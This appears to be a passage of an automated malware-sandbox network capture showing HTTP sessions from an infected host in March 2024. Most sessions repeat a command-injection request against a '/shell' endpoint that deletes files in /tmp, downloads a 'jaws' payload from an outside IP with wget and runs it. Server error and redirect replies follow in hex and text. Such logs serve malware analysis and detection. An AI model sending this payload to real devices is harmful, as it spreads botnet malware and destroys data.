6c 6c 2d 75 73 2d 63 65 6e 74 72 61 6c 31 2d 69 72 31 2d 74 65 73 74 2d 64 6d 6d 6e 2e 75 73 2d 63 65 6e 74 72 61 6c 31 2d 69 72 31 2e 63 2e 73 74 61 67 69 6e 67 2d 63 2d 61 72 6d 6f 72 2d 64 61 74 61 2d 70 72 6f 62 65 72 2e 69 6e 74 65 72 6e 61 6c 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.56 (Debian) Server at igm-v01-deny-all-us-central1-ir1-test-dmmn.us-central1-ir1.c.staging-c-armor-data-prober.internal Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.15	33840	168.168.6.30	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:04.067292929 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:08.183897018 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:14.327702999 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:26.359404087 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:51.190650940 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:36:40.341219902 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.15	51002	23.206.48.35	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:04.156302929 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:04.416013002 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Wed, 13 Mar 2024 08:35:04 GMT Date: Wed, 13 Mar 2024 08:35:04 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 66 33 33 32 64 31 37 26 23 34 36 3b 31 37 31 30 33 31 38 39 30 34 26 23 34 36 3b 38 34 31 66 66 31 62 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.cf332d17.1710318904.841ff1b</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.15	54828	35.73.74.28	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:04.174452066 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.15	45094	78.186.205.237	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:04.404474974 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.15	37710	34.197.77.7	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:14.755934954 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:15.287688017 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:15.382981062 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:35:15 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.15	51272	23.32.127.47	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:14.766474962 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:14.873178005 CET	429	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 207 Expires: Wed, 13 Mar 2024 08:35:14 GMT Date: Wed, 13 Mar 2024 08:35:14 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 65 38 32 36 33 65 31 37 26 23 34 36 3b 31 37 31 30 33 31 38 39 31 34 26 23 34 36 3b 32 34 65 36 64 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.e8263e17.1710318914.24e6dd</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.15	60834	104.21.27.15	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:17.967720985 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.15	58596	103.101.153.183	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:20.221015930 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:20.383389950 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.15	60148	47.24.170.124	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:21.201632977 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:21.336489916 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 13 Mar 2024 08:35:18 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.15	59100	103.121.18.245	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:22.569967031 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:22.908519983 CET	427	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 205 Expires: Wed, 13 Mar 2024 08:35:22 GMT Date: Wed, 13 Mar 2024 08:35:22 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 66 35 31 32 37 39 36 37 26 23 34 36 3b 31 37 31 30 33 31 38 39 32 32 26 23 34 36 3b 36 31 34 38 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.f5127967.1710318922.6148</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.15	58264	119.45.178.155	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:22.930888891 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:23.298613071 CET	404	IN	HTTP/1.1 400 Bad Request Date: Wed, 13 Mar 2024 08:35:23 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.15	53880	204.116.176.183	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:23.347505093 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:23.471219063 CET	181	IN	HTTP/1.0 404 Not Found Connection: close Content-Type: text/html Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 3c 48 34 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 48 34 3e 3c 42 52 3e 44 6f 63 75 6d 65 6e 74 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e Data Ascii: <HTML><HEAD><TITLE>404 Not Found</TITLE></HEAD><BODY><H4>404 Not Found</H4><BR>Document Not Found</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.15	57492	52.0.203.213	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:23.386029959 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:23.479603052 CET	400	IN	HTTP/1.1 301 Moved Permanently Server: awselb/2.0 Date: Wed, 13 Mar 2024 08:35:23 GMT Content-Type: text/html Content-Length: 134 Connection: keep-alive Location: https://127.0.0.1:443/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.15	43730	198.199.59.134	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:23.409471035 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:23.529861927 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Wed, 13 Mar 2024 08:35:23 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
24	192.168.2.15	42208	44.240.57.71	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:23.469310045 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:23.645762920 CET	78	IN	HTTP/1.1 400 BAD_REQUEST Content-Length: 0 Connection: Close

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.15	36192	161.35.186.210	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:23.478162050 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:23.572598934 CET	433	IN	HTTP/1.1 301 Moved Permanently Server: nginx/1.16.1 Date: Wed, 13 Mar 2024 08:35:23 GMT Content-Type: text/html Content-Length: 169 Connection: keep-alive Location: https://127.0.0.1/shell?cd+/tmp;rm+-rf+*;wget+ 94.156.66.36/jaws;sh+/tmp/jaws Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 36 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx/1.16.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.15	44050	155.4.113.220	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:23.500338078 CET	231	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:23.727148056 CET	151	IN	HTTP/1.0 404 File not found Server: Solare Edge, Home gateway2 1.0.19 Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 32 3e 34 30 34 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 66 69 6c 65 20 63 61 6e 6e 6f 74 20 62 65 20 66 6f 75 6e 64 2e 3c 2f 68 32 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><body><h2>404: The requested file cannot be found.</h2></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.15	47768	115.71.19.135	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:23.591284037 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:23.920685053 CET	320	IN	HTTP/1.1 404 Not Found Server: nginx/1.20.1 Date: Wed, 13 Mar 2024 08:35:23 GMT Content-Type: text/html Content-Length: 153 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 30 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.20.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.15	43978	104.76.140.52	80

Timestamp	Bytes transferred	Direction	Data
Mar 13, 2024 09:35:23.600277901 CET	243	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 94.156.66.36/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 13, 2024 09:35:23.933840990 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Wed, 13 Mar 2024 08:35:23 GMT Date: Wed, 13 Mar 2024 08:35:23 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 34 37 32 36 37 33 36 38 26 23 34 36 3b 31 37 31 30 33 31 38 39 32 33 26 23 34 36 3b 32 36 38 63 34 31 39 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.47267368.1710318923.268c419</BODY></HTML>

